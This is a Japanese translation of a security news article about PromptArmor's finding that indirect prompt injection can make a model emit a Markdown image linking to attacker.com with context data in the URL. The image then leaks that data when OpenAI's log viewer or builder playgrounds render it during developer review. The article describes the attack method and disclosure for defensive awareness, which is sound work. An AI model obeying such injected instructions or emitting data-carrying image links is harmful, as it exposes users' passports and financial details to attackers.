ログビューアの罠:OpenAIのダッシュボードがあなたの秘密を漏らし得る仕組み

チャットボットが表向きは意図どおりに動作し、危険な応答を事前に抑止しているにもかかわらず、その後、最も予想外の場所――開発者のログビューア――でデータ漏えいが発生する状況を想像してください。PromptArmor の専門家は、このような事態を明らかにし、OpenAIのAPI向けログビューアが、インターフェースがMarkdown画像をレンダリングする特定の方法により、機密情報の流出ポイントになり得ると主張しています。

この侵入の本質は、間接的なプロンプトインジェクションにあります。アプリケーションを直接攻撃するのではなく、攻撃者はAIが利用する外部データソース――たとえばウェブページやサードパーティのコンテンツ――を「汚染」します。ユーザーがアシスタントに問い合わせると、埋め込まれた指示がモデルにMarkdown画像を含む応答を生成させます。この画像のソースURLは攻撃者が管理するドメインを指し、URLパラメータには現在のコンテキストから得た機微データが動的に埋め込まれます。つまり、基本的にはattacker.com/img.png?data=...のような形式になり、この省略記号部分がPII(個人を特定できる情報)、内部文書、または財務情報に置き換えられます。

多くの堅牢なアプリケーションでは、そのような応答はエンドユーザーに届きません。開発者はしばしば、「判定」モデルで不審な内容を検知したり、Markdownのサニタイズを行ったり、プレーンテキスト出力を強制するコンテンツセキュリティポリシー(CSP)を適用したりといった防御策を用います。提示されたケーススタディでは、悪意ある応答は実際に成功裏に遮断され、KYC(Know Your Customer)サービスのインターフェース内でレンダリングされませんでした。脆弱性が顕在化するのは次の段階です。フラグ付けされた対話が手動レビュー待ちのキューに入り、開発者がOpenAIのダッシュボード経由でそれにアクセスしたときです。

APIの「responses」および「conversations」のログインターフェースは、デフォルトでMarkdownレンダリングをサポートしています。エントリにMarkdown画像が含まれていると、ブラウザは自動的にそれを取得しようとします。この時点でデータ流出が発生します。事前に構築されたリンクを介して攻撃者のサーバーへリクエストが送信され、「継ぎ込まれた」秘密データが運ばれます。ドメイン所有者はサーバーログを確認するだけで、モデルが付加したパラメータを回収でき、そこにはパスポート情報や金融テレメトリが含まれ得ます。

注目すべきことに、アプリケーションがMarkdownから画像を徹底的に除去していたとしても、ユーザーはしばしば異常な、あるいは壊れた応答をフィードバック機構で「低評価」として指定します。そのようなメッセージは分析のためにモデレーションキューへ送られることが多く、まさにその環境で、開発者がログを閲覧する行為が画像の読み込みを引き起こします。研究者はPerplexityを例に挙げ、厳格なサニタイズによって断片的な応答が残り、それがユーザーの低評価を招いて手動監査を誘発し得ると述べています。

調査はさらに、この脆弱性がログ画面にとどまらず、ツールのプレビューやテストが行われる複数のOpenAI環境――Agent Builder、Assistant Builder、Chat Builder、ならびにChatKit Playground――にも影響すると主張しています。これらはいずれも、十分な制約なしに安全でないMarkdown画像をレンダリングするとされています。

PromptArmorはBugCrowdを通じて調査結果を提出し、2025年11月17日から12月4日にかけて一連の確認対応を行いました。最終的に、この案件は「Not Applicable(該当なし)」のステータスでクローズされました。そのため研究者は、OpenAI APIを利用する組織に警鐘を鳴らすべく、公表に踏み切りました。このようなモデルでは、実用的な防御はアプリケーション側のフィルタを超えて広がります。すなわち、ログへのアクセス制限、外部接続のない隔離環境でフラグ付けされた対話を監査すること、そして特にモデルが外部データストリームと接続した場合には、レンダリングされたMarkdown全般に対して健全な懐疑心を保つこと、といった組織的な安全策が必要になります。

翻訳元: https://meterpreter.org/the-log-viewer-trap-how-openais-dashboard-can-leak-your-secrets/

ソース: meterpreter.org